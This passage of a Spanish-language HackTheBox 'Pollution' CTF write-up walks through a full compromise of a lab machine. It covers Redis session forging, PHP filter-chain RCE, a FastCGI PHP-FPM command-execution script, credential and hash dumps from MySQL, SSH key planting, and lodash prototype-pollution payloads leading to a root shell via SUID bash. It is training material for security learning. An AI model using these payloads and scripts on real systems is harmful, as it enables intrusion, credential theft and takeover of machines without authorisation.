Ahora sí podemos enumerar la base de datos y encontramos las sesiones de PHP.

 1$ redis-cli -h collect.htb -a 'COLLECTR3D1SPASS'
 2Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
 3collect.htb:6379> KEYS *
 4 1) "PHPREDIS_SESSION:m0quph73em3qeca9hg2av3rc7f"
 5 2) "PHPREDIS_SESSION:uk385rcqv86ahs4qnurg2lv1om"
 6 3) "PHPREDIS_SESSION:laage9fp959sb1180a5d59ke4i"
 7 4) "PHPREDIS_SESSION:27fh9h6veirelvouv815rul4tg"
 8 5) "PHPREDIS_SESSION:8umh0m236krvrfasiohqdj0enf"
 9 6) "PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4"
10 7) "PHPREDIS_SESSION:e37ci4tqvukr5smlk0ag3nhe4a"
11 8) "PHPREDIS_SESSION:0hj293g5q32fvoac9rcreb2b8q"
12 9) "PHPREDIS_SESSION:e1e17g7n3lr1lkr6e1r33ahhoh"
1310) "PHPREDIS_SESSION:4ecp461nu7058h53fk2uaf7gg0"
1411) "PHPREDIS_SESSION:jn6i7957ed7e65vh91sdd9j32h"
1512) "PHPREDIS_SESSION:lvi3jme0lcp7tsh7gt0hpspo2q"
1613) "PHPREDIS_SESSION:vk5hsi53v31rgahqqojnkckbaj"
1714) "PHPREDIS_SESSION:bqo7rapb9ms4lle4aga9prug1h"
1815) "PHPREDIS_SESSION:eurvh0scasvcsp2blnsqe3056r"
1916) "PHPREDIS_SESSION:ug8tndvfhr2fjl28h70l1aqj0p"
2017) "PHPREDIS_SESSION:5f9iatasmdvjr6o9c8a1tjeuks"

Todas las keys estaban vacias, todas excepto una, la mia.

1collect.htb:6379> get PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4
2"username|s:7:\"pointed\";role|s:5:\"admin\";"

"username|s:7:\"pointed\";role|s:5:\"admin\";": El valor de la sesión serializada. Es un string que contiene los siguientes datos:

Modifying PHP Serialized Session

Mi misión es poder autenticarme en el panel de usuario del developers.collect.htb entonces tengo que buscar la forma de hacer eso.

Viendo el index.php vemos un condicional al principio de todo el archivo.

1if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
2    die(header('Location: /login.php'));
3}

Entonces si en nuestra sesión encuentra que authno existe o no vale Verdadero nos manda pastar.

Pero como tenemos acceso al Redis, podríamos modificar nuestra sesión y establecer un campo auth que valga True

Así que podemos serializar el objeto de mi usuario pero haciendo ese cambio.

1$ php -a
2Interactive shell
3
4php > $session = array("username" => "pointed", "role" => "admin", "auth" => True);
5php > echo serialize($session);
6a:3:{s:8:"username";s:7:"pointed";s:4:"role";s:5:"admin";s:4:"auth";b:1;}

Cambiamos la información de la sesión.

1collect.htb:6379> set PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4 '{s:8:"username";s:7:"pointed";s:4:"role";s:5:"admin";s:4:"auth";b:1;}'
2OK
3collect.htb:6379> get PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4
4"{s:8:\"username\";s:7:\"pointed\";s:4:\"role\";s:5:\"admin\";s:4:\"auth\";b:1;}"

Pero al recargar la página me sigue llevando al inicio de sesión.

Esto es porque estoy modificando la sesión de collect.htb y no de developers.collect.htb Write-up Image

Al recuperar la sesión vemos que está vacia.

1collect.htb:6379> get PHPREDIS_SESSION:vu38kfnsn9meo80emfihttpiki
2""

En redis:

Por lo cual si establecemos: "auth|b:1;": Agrega el nuevo campo auth y lo establece en True (b:1).

Modificamos esta vez la sesión correcta.

1collect.htb:6379> set PHPREDIS_SESSION:vu38kfnsn9meo80emfihttpiki 'auth|b:1;'
2OK
3collect.htb:6379> get PHPREDIS_SESSION:vu38kfnsn9meo80emfihttpiki
4"auth|b:1;"

Y al recargar la página ahora si que ganamos acceso. Write-up Image

Abusing PHP filter Wrapper to get RCE -> Foothold

Me llama la atención el parámetro page, y como tenemos el código fuente vamos a analizarlo.

1<main class="mb-auto mx-24">
2            <?php include($_GET['page'] . ".php"); ?>
3        </main>

Podríamos intentar un LFI o incluso RCE a través de algunos wrappers.

Encontramos este artículo en HackTricks

Nos recomienda este repo de Github para generar nuestras cadenas de filtros PHP para conseguir RCE sin subir archivo ni nada.

Nos clonamos el repo.

1$ git clone https://github.com/synacktiv/php_filter_chain_generator
2Cloning into 'php_filter_chain_generator'...
3remote: Enumerating objects: 11, done.
4remote: Counting objects: 100% (11/11), done.
5remote: Compressing objects: 100% (7/7), done.
6remote: Total 11 (delta 4), reused 10 (delta 4), pack-reused 0 (from 0)
7Receiving objects: 100% (11/11), 5.23 KiB | 5.23 MiB/s, done.
8Resolving deltas: 100% (4/4), done.

Y con el parámetro --chain podemos especificar cual es el código PHP que queremos que se ejecute.

1$ python3 php_filter_chain_generator.py --chain '<?php echo "ou yesyesyesyes"; ?>'
2[+] The following gadget chain will generate the following code : <?php echo "ou yesyesyesyes"; ?> (base64 value: PD9waHAgZWNobyAib3UgeWVzeWVzeWVzeWVzIjsgPz4)
3php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF
4.....

El “churro” nos lo podemos copiar y pegar en el parámetro page y si todo sale bien debería de salir el texto ou yesyesyesyes

¡Bingo! Write-up Image

Ahora vamos a ganar RCE. Vamos a crear un payload para poder ejecutar comandos mediante el párametro c

1$ python3 php_filter_chain_generator.py --chain '<?php shell_exec($_GET["c"]); ?>'

Si lo copiamos vemos que no sale nada. Write-up Image

Si intentamos ejecutar el comando id vemos que sale texto no legible por pantalla, pero como ahora sale algo y antes no quiero pensar que el comando se está ejecutando. Write-up Image

Write-up Image

Si nos mandamos un ping vemos que nos llega, por lo cual podemos confirmar que tenemos RCE.

1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
421:07:34.336987 IP forum.collect.htb > 10.10.14.104: ICMP echo request, id 57132, seq 1, length 64
521:07:34.337042 IP 10.10.14.104 > forum.collect.htb: ICMP echo reply, id 57132, seq 1, length 64

Ahora nos podemos mandar la shell con el típico one-liner. Write-up Image

Y si estamos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443
2[21:09:52] Welcome to pwncat 🐈!                                                                                                                                                                                               __main__.py:164
3[21:10:04] received connection from 10.129.228.126:35744                                                                                                                                                                            bind.py:84
4[21:10:07] 10.129.228.126:35744: registered new host w/ db                                                                                                                                                                      manager.py:957
5(local) pwncat$                                                                                                                                                                                                                               
6(remote) www-data@pollution:/var/www/developers$ id
7uid=33(www-data) gid=33(www-data) groups=33(www-data)

User Pivoting

Vemos que existe un usuario victor

1(remote) www-data@pollution:/var/www/developers$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3victor:x:1002:1002::/home/victor:/bin/bash

Como sabemos que probablemente exista otra base de datos detrás podemos confirmar que servicios internos están abiertos.

 1(remote) www-data@pollution:/var/www/collect$ netstat -tulnp
 2(Not all processes could be identified, non-owned process info
 3 will not be shown, you would have to be root to see it all.)
 4Active Internet connections (only servers)
 5Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
 6tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
 7tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -                   
 8tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
 9tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
10tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
11tcp6       0      0 ::1:6379                :::*                    LISTEN      -                   
12tcp6       0      0 :::80                   :::*                    LISTEN      -                   
13tcp6       0      0 :::22                   :::*                    LISTEN      -                   
14udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -                   
15udp        0      0 0.0.0.0:38829           0.0.0.0:*                           -                   
16udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
17udp6       0      0 :::5353                 :::*                                -                   
18udp6       0      0 :::42859                :::*                                -       

Y vemos el puerto 3000 interno que ya sabíamos que existía.

El puerto 3306 (MySQL) por lo cual efectivamente, existe otra base de datos detrás.

Y otro puerto 9000 que no sabemos que servicio ofrece.

En /var/www/collect/config.php podemos encontrar la contraseña de la base de datos de MySQL.

 1(remote) www-data@pollution:/var/www/collect$ cat config.php                                                    
 2<?php                                                                                                           
 3                                                                                                                
 4                                                                                                                
 5return [                                                                                                        
 6    "db" => [                                                                                                   
 7        "host" => "localhost",                                                                                  
 8        "dbname" => "webapp",                                                                                   
 9        "username" => "webapp_user",                                                                            
10        "password" => "Str0ngP4ssw0rdB*12@1",                                                                   
11        "charset" => "utf8"                                                                                     
12    ],                                                                                                          
13];  

Podemos ingresar en la base de atos con las credenciales webapp_user:Str0ngP4ssw0rdB*12@1

 1(remote) www-data@pollution:/var/www/collect$ mysql -uwebapp_user -pStr0ngP4ssw0rdB*12@1
 2Welcome to the MariaDB monitor.  Commands end with ; or \g.
 3Your MariaDB connection id is 364
 4Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11
 5
 6Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 7
 8Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 9
10MariaDB [(none)]> show databases;
11+--------------------+
12| Database           |
13+--------------------+
14| developers         |
15| forum              |
16| information_schema |
17| mysql              |
18| performance_schema |
19| pollution_api      |
20| webapp             |
21+--------------------+
227 rows in set (0.002 sec)

Encontramos un hash MD5 en developers -> users

1MariaDB [developers]> select * from users;
2+----+----------+----------------------------------+
3| id | username | password                         |
4+----+----------+----------------------------------+
5|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 |
6+----+----------+----------------------------------+

Encontramos mas hashes en forum -> mybb_users

 1MariaDB [forum]> select username,password from mybb_users;
 2+---------------------+----------------------------------+
 3| username            | password                         |
 4+---------------------+----------------------------------+
 5| administrator_forum | b254efc2c5716af2089ffeba1abcbf30 |
 6| john                | e1ec52d73242b78fdee6be117569b602 |
 7| victor              | b454fd07d44b27f1d528efba841c9717 |
 8| sysadmin            | 477a429cddfc475b9100958cae9204b1 |
 9| jeorge              | 5d13d9d4b1f368280b8426800a85702e |
10| lyon                | 5eab3ec757f8352597ab74361fda8bcc |
11| jane                | 972470c4c1a3f53029e56007abcf39fc |
12| karldev             | 285127d01d188c8827c9fded33bf6f9e |
13| pointed             | 3eb5e8b03d5fa8228ea1bef4821a170c |
14+---------------------+----------------------------------+
159 rows in set (0.000 sec)

Encontramos otro hash en webapp -> users

1MariaDB [webapp]> select * from users;
2+----+----------+----------------------------------+-------+
3| id | username | password                         | role  |
4+----+----------+----------------------------------+-------+
5|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 | admin |
6|  3 | pointed  | c416671d05d001fca2433d9855e3c905 | admin |
7+----+----------+----------------------------------+-------+

El hash de admin es el mismo que habíamos encontrado antes.

No conseguí crackear ninguno de estos hashes.

 1$ cat hashes.txt 
 2c89efc49ddc58ee4781b02becc788d14
 3b254efc2c5716af2089ffeba1abcbf30
 4e1ec52d73242b78fdee6be117569b602
 5b454fd07d44b27f1d528efba841c9717
 6477a429cddfc475b9100958cae9204b1
 75d13d9d4b1f368280b8426800a85702e
 85eab3ec757f8352597ab74361fda8bcc
 9972470c4c1a3f53029e56007abcf39fc
10285127d01d188c8827c9fded33bf6f9e
113eb5e8b03d5fa8228ea1bef4821a170c

Linpeas

Podemos probar a ejecutar linpeas.sh, nos lo subimos utilizando la función upload la cual es interna de pwncat-cs

1(local) pwncat$ upload /opt/peas/linpeas.sh
2./linpeas.sh ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 862.8/862.8 kB • ? • 0:00:00
3[21:23:17] uploaded 862.78KiB in 3.01 seconds     

Encontramos que victor está ejecutando php-fpm, esto ya lo he tocado en otras máquinas. Write-up Image

Encontramos el archivo de configuración /etc/php/8.1/fpm/php-fpm.conf

1(remote) www-data@pollution:/tmp$ ps aux | grep php-fpm
2root         964  0.0  1.0 265400 41132 ?        Ss   10:45   0:00 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
3victor      1011  0.0  0.3 265840 15916 ?        S    10:45   0:00 php-fpm: pool victor
4victor      1012  0.0  0.3 265840 15916 ?        S    10:45   0:00 php-fpm: pool victor
5www-data    2239  0.0  0.9 345740 35960 ?        S    11:01   0:01 php-fpm: pool www
6www-data    2241  0.0  0.9 345748 36228 ?        S    11:01   0:01 php-fpm: pool www
7www-data    2242  0.0  0.9 345888 36672 ?        S    11:01   0:00 php-fpm: pool www
8www-data   22739  0.0  0.0   3268   636 pts/0    S+   13:27   0:00 grep php-fpm

Abusing FastCGI PHP-FPM

Ahora que sabemos que existe FastCGI por el proceso que hemos descubierto, podemos suponer que el puerto 9000 corresponde a este servicio ya que es el puerto que utiliza por defecto.

Podemos utilizar este script que encontramos en HackTricks para intentar ejecutar comandos como victor

 1#!/bin/bash
 2
 3PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
 4FILENAMES="/var/www/public/index.php" # Exisiting file path
 5
 6HOST=$1
 7B64=$(echo "$PAYLOAD"|base64)
 8
 9for FN in $FILENAMES; do
10    OUTPUT=$(mktemp)
11    env -i \
12      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
13      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
14      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
15
16    cat $OUTPUT
17done

Vamos a reemplazar FILENAMES a algún archivo que exista. Write-up Image

Y vamos a cambiar el comando para mandarnos un ping a nuestra máquina. Write-up Image

Y vemos que el ping se realiza.

 1(remote) www-data@pollution:/tmp$ ./rce.sh 
 2Status: 302 Found
 3Set-Cookie: PHPSESSID=6p00qrfhf7ff4384i1n0ok3bfo; path=/
 4Expires: Thu, 19 Nov 1981 08:52:00 GMT
 5Cache-Control: no-store, no-cache, must-revalidate
 6Pragma: no-cache
 7Location: /login.php
 8Content-type: text/html; charset=UTF-8
 9
10<!--PING 10.10.14.104 (10.10.14.104) 56(84) bytes of data.
1164 bytes from 10.10.14.104: icmp_seq=1 ttl=63 time=36.2 ms
12
13--- 10.10.14.104 ping statistics ---
141 packets transmitted, 1 received, 0% packet loss, time 0ms
15rtt min/avg/max/mdev = 36.215/36.215/36.215/0.000 ms

Ejecutando el comando id vemos que esto lo está ejecutando victor.

 1(remote) www-data@pollution:/tmp$ ./rce.sh 
 2Status: 302 Found
 3Set-Cookie: PHPSESSID=03id86eq019mtl0iao9ng06c02; path=/
 4Expires: Thu, 19 Nov 1981 08:52:00 GMT
 5Cache-Control: no-store, no-cache, must-revalidate
 6Pragma: no-cache
 7Location: /login.php
 8Content-type: text/html; charset=UTF-8
 9
10<!--uid=1002(victor) gid=1002(victor) groups=1002(victor)

Ahora modificarnos el comando para enviarnos una consola. Write-up Image

Pero vemos que la consola instantáneamente se cierra ya que el proceso ejecuta el comando y al matarlo no mantiene la reverse shell.

1$ sudo pwncat-cs -lp 443
2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3  'class': algorithms.Blowfish,
4[21:37:49] Welcome to pwncat 🐈!                                                                                         __main__.py:164
5[21:37:51] received connection from 10.129.228.126:56510                                                                      bind.py:84
6[21:37:51] connection failed: channel unexpectedly closed       

Así que como está el SSH abierto vamos a ver si tiene una clave privada, y si no, escribiremos nuestra clave pública en su authorized_keys para poder autenticarnos como victor utilizando la autenticación de clave privada. Write-up Image

Y vemos que no tiene ninguna clave privada.

 1(remote) www-data@pollution:/tmp$ ./rce.sh 
 2Status: 302 Found
 3Set-Cookie: PHPSESSID=l8ta9cm3c30sbk2uelcblgv9uj; path=/
 4Expires: Thu, 19 Nov 1981 08:52:00 GMT
 5Cache-Control: no-store, no-cache, must-revalidate
 6Pragma: no-cache
 7Location: /login.php
 8Content-type: text/html; charset=UTF-8
 9
10<!--total 8
11drwx------  2 victor victor 4096 Nov 21  2022 .
12drwx------ 16 victor victor 4096 Nov 21  2022 ..

Entonces en nuestra máquina nos copiamos nuestra clave pública a un fichero authorized_keys

1$ cp /home/pointedsec/.ssh/id_rsa.pub authorized_keys

Lo subimos a la máquina víctima en /tmp/authorized_keys

Cambiamos el comando para que se borra por si existe y luego se copie en /home/victor/.ssh/authorized_keys Write-up Image

Vemos que todo sale bien.

1(remote) www-data@pollution:/tmp$ ./rce.sh    
2Status: 302 Found
3Set-Cookie: PHPSESSID=m2jbmpkgf15vaireq1o7auje6s; path=/
4Expires: Thu, 19 Nov 1981 08:52:00 GMT
5Cache-Control: no-store, no-cache, must-revalidate
6Pragma: no-cache
7Location: /login.php
8Content-type: text/html; charset=UTF-8

Y ya podemos ganar una sesión SSH como victor

 1$ ssh victor@10.129.228.126 -i /home/pointedsec/.ssh/id_rsa 
 2Linux pollution 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
 3
 4The programs included with the Debian GNU/Linux system are free software;
 5the exact distribution terms for each program are described in the
 6individual files in /usr/share/doc/*/copyright.
 7
 8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 9permitted by applicable law.
10victor@pollution:~$ id
11uid=1002(victor) gid=1002(victor) groups=1002(victor)

Y leer la flag de usuario.

1victor@pollution:~$ cat user.txt 
2ed53db85449dae....

Privilege Escalation

Encontramos en el directorio personal de victor un directorio pollution_api

 1victor@pollution:~/pollution_api$ ls -la
 2total 116
 3drwxr-xr-x  8 victor victor  4096 Nov 21  2022 .
 4drwx------ 16 victor victor  4096 Nov 21  2022 ..
 5drwxr-xr-x  2 victor victor  4096 Nov 21  2022 controllers
 6drwxr-xr-x  2 victor victor  4096 Nov 21  2022 functions
 7-rw-r--r--  1 victor victor   528 Sep  2  2022 index.js
 8-rwxr-xr-x  1 victor victor   574 Aug 26  2022 log.sh
 9drwxr-xr-x  5 victor victor  4096 Nov 21  2022 logs
10drwxr-xr-x  2 victor victor  4096 Nov 21  2022 models
11drwxr-xr-x 97 victor victor  4096 Nov 21  2022 node_modules
12-rw-r--r--  1 victor victor 71730 Aug 26  2022 package-lock.json
13-rw-r--r--  1 victor victor   160 Aug 26  2022 package.json
14drwxr-xr-x  2 victor victor  4096 Nov 21  2022 routes

Que quiero pensar que es la API de la que tanto se ha hablado que está en el puerto 3000.

Podemos comprobar que esta API la está ejecutando el usuario root

1victor@pollution:~/pollution_api$ ps -aux | grep pollution_api
2root        1342  0.0  1.9 1664492 77332 ?       Sl   10:45   0:01 /usr/bin/node /root/pollution_api/index.js
3victor     23505  0.0  0.0   6240   640 pts/0    S+   13:53   0:00 grep pollution_api

Vamos a pasarnos este proyecto a nuestra máquina para analizarlo en busca de vulnerabilidades.

Con Snyk podemos encontrar una versión desactualizada de lodash la cual es vulnerable a Prototype Pollution (el nombre de la máquina cuadra por lo cual los tiros deben de ir por aquí) Write-up Image

Encontramos este post de Snky que explica la vulnerabilidad

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

En controllers/Messages_send.js vemos que se utiliza la función merge la cual es vulnerable. Write-up Image

Para llegar a este endpoint necesitamos tener una cuenta de usuario. Eso es lo primero que debemos hacer.

Podemos crear una cuneta en el endponit /auth/register Write-up Image

Podemos crear la cuenta perfectamente.

1victor@pollution:~$ curl -X POST http://127.0.0.1:3000/auth/register -H 'Content-Type: application/json' -d '{"username": "pointed", "password
2{"Status":"Ok"}

Ahora necesitamos convertirnos en administradores, pero como tenemos acceso a la base de datos podemos hacer eso fácilmente.

Podemos ver el usuario recién creado.

1MariaDB [pollution_api]> select * from users;
2+----+----------+----------+------+---------------------+---------------------+
3| id | username | password | role | createdAt           | updatedAt           |
4+----+----------+----------+------+---------------------+---------------------+
5|  1 | test     | test     | user | 2024-09-13 15:37:12 | 2024-09-13 15:37:12 |
6|  2 | pointed  | password | user | 2024-09-13 18:08:02 | 2024-09-13 18:08:02 |
7+----+----------+----------+------+---------------------+---------------------+

Podemos cambiar el campo role para darnos rol de administrador.

1MariaDB [pollution_api]> update users set role="admin" where username="pointed";
2Query OK, 1 row affected (0.003 sec)
3Rows matched: 1  Changed: 1  Warnings: 0
1MariaDB [pollution_api]> select * from users;
2+----+----------+----------+-------+---------------------+---------------------+
3| id | username | password | role  | createdAt           | updatedAt           |
4+----+----------+----------+-------+---------------------+---------------------+
5|  1 | test     | test     | user  | 2024-09-13 15:37:12 | 2024-09-13 15:37:12 |
6|  2 | pointed  | password | admin | 2024-09-13 18:08:02 | 2024-09-13 18:08:02 |
7+----+----------+----------+-------+---------------------+---------------------+

Ahora debemos de saber como funciona el endpoint para mandar un mensaje.

Entonces vamos a intentar mandar un mensaje de prueba. Write-up Image

Pero antes necesitamos un token de autenticación.

1victor@pollution:~$ curl -X POST http://127.0.0.1:3000/auth/login -H 'Content-Type: application/json' -d '{"username": "pointed", "password": "password"}'
2{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicG9pbnRlZCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNjI1MTExNSwiZXhwIjoxNzI2MjU0NzE1fQ.xr0E3IWWzqlmMYFGAqo2XpHFk_5S87_3ITcSqawufSU"}}

Y ahora intentamos mandar un mensaje.

1victor@pollution:~$ curl -X POST http://127.0.0.1:3000/admin/messages/send -H 'Content-Type: application/json' -d '{"text": "test"}' -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicG9pbnRlZCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNjI1MTExNSwiZXhwIjoxNzI2MjU0NzE1fQ.xr0E3IWWzqlmMYFGAqo2XpHFk_5S87_3ITcSqawufSU"
2{"Status":"Ok"}

Y podemos comprobar la base de datos para ver que todo ha salido bien.

1MariaDB [pollution_api]> select * from messages;
2+----+--------------------------------------------------------------------+-----------+---------------------+---------------------+
3| id | text                                                               | user_sent | createdAt           | updatedAt           |
4+----+--------------------------------------------------------------------+-----------+---------------------+---------------------+
5|  1 | {"user_sent":"pointed","title":"Message for admins","text":"test"} | pointed   | 2024-09-13 18:12:34 | 2024-09-13 18:12:34 |
6+----+--------------------------------------------------------------------+-----------+---------------------+---------------------+
71 row in set (0.000 sec)

Prototype Pollution 2 RCE Abusing child_process functions

Vemos que se está utilizando exec para ejecutar un comando. Write-up Image

Podemos encontrar en HackTricks un PoC interesante.

 1// environ trick - not working
 2// It's not possible to pollute the .env attr to create a first env var
 3// because options.env is null (not undefined)
 4
 5// cmdline trick - working with small variation
 6// Working after kEmptyObject (fix)
 7const { exec } = require('child_process');
 8p = {}
 9p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
10p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
11p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
12var proc = exec('something');
13
14// stdin trick - not working
15// Not using stdin
16
17// Windows
18// Working after kEmptyObject (fix)
19const { exec } = require('child_process');
20p = {}
21p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
22var proc = exec('something');

Entonces al llamar a la función merge como le está pasando el req.body sin filtrar nada puedo realizar el Prototype Pollution.

Port Forwarding

Vamos a hacer port forwarding al puerto 3000 para trabajar mas fácilmente con burp.

1$ ssh -L 3000:127.0.0.1:3000 victor@10.129.228.126

Exploiting Prototype Pollution

Siguiendo el PoC de HackTricks podemos traducir esto:

1const { exec } = require('child_process');
2p = {}
3p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
4p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
5p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
6var proc = exec('something');

En formato JSON para que lo procese el servidor. Write-up Image

 1{"text": "test",
 2
 3"__proto__":{
 4
 5"shell":  "/proc/self/exe",
 6
 7"argv0": "console.log(require('child_process').execSync('touch /tmp/pwned_pointed').toString())//",
 8
 9"NODE_OPTIONS":"--require /proc/self/cmdline"
10
11}}

Si todo sale bien debería de crear un archivo en /tmp/pwned_pointed cuyo propietario sea root

Ahora si miramos /tmp encontramos el archivo. Write-up Image

Ahora vamos a establecer el SUID de /bin/bash a 1 para poder lanzarnos una consola como root y escalar privilegios. Write-up Image

Y ahora podemos comprobar que todo ha salido bien.

1victor@pollution:/tmp$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Y podemos lanzarnos una bash como el propietario con el parámetro -p y escalar privilegios.

1victor@pollution:/tmp$ bash -p
2bash-5.1# id
3uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)

Podemos leer la flag de root

1bash-5.1# cat /root/root.txt 
216e136dfdebb50e1...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Pollution   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #VHost Fuzzing   #Subdomain Enumerations   #Information Disclosure   #Blind XXE   #XXE   #Data Exfiltration   #Hash Cracking   #Cracking   #PHP Code Analysis   #Modifying PHP Serialized Session   #Abusing PHP Filter Wrapper   #Abusing FastCGI PHP-FPM   #User Pivoting   #Port Forwarding   #Prototype Pollution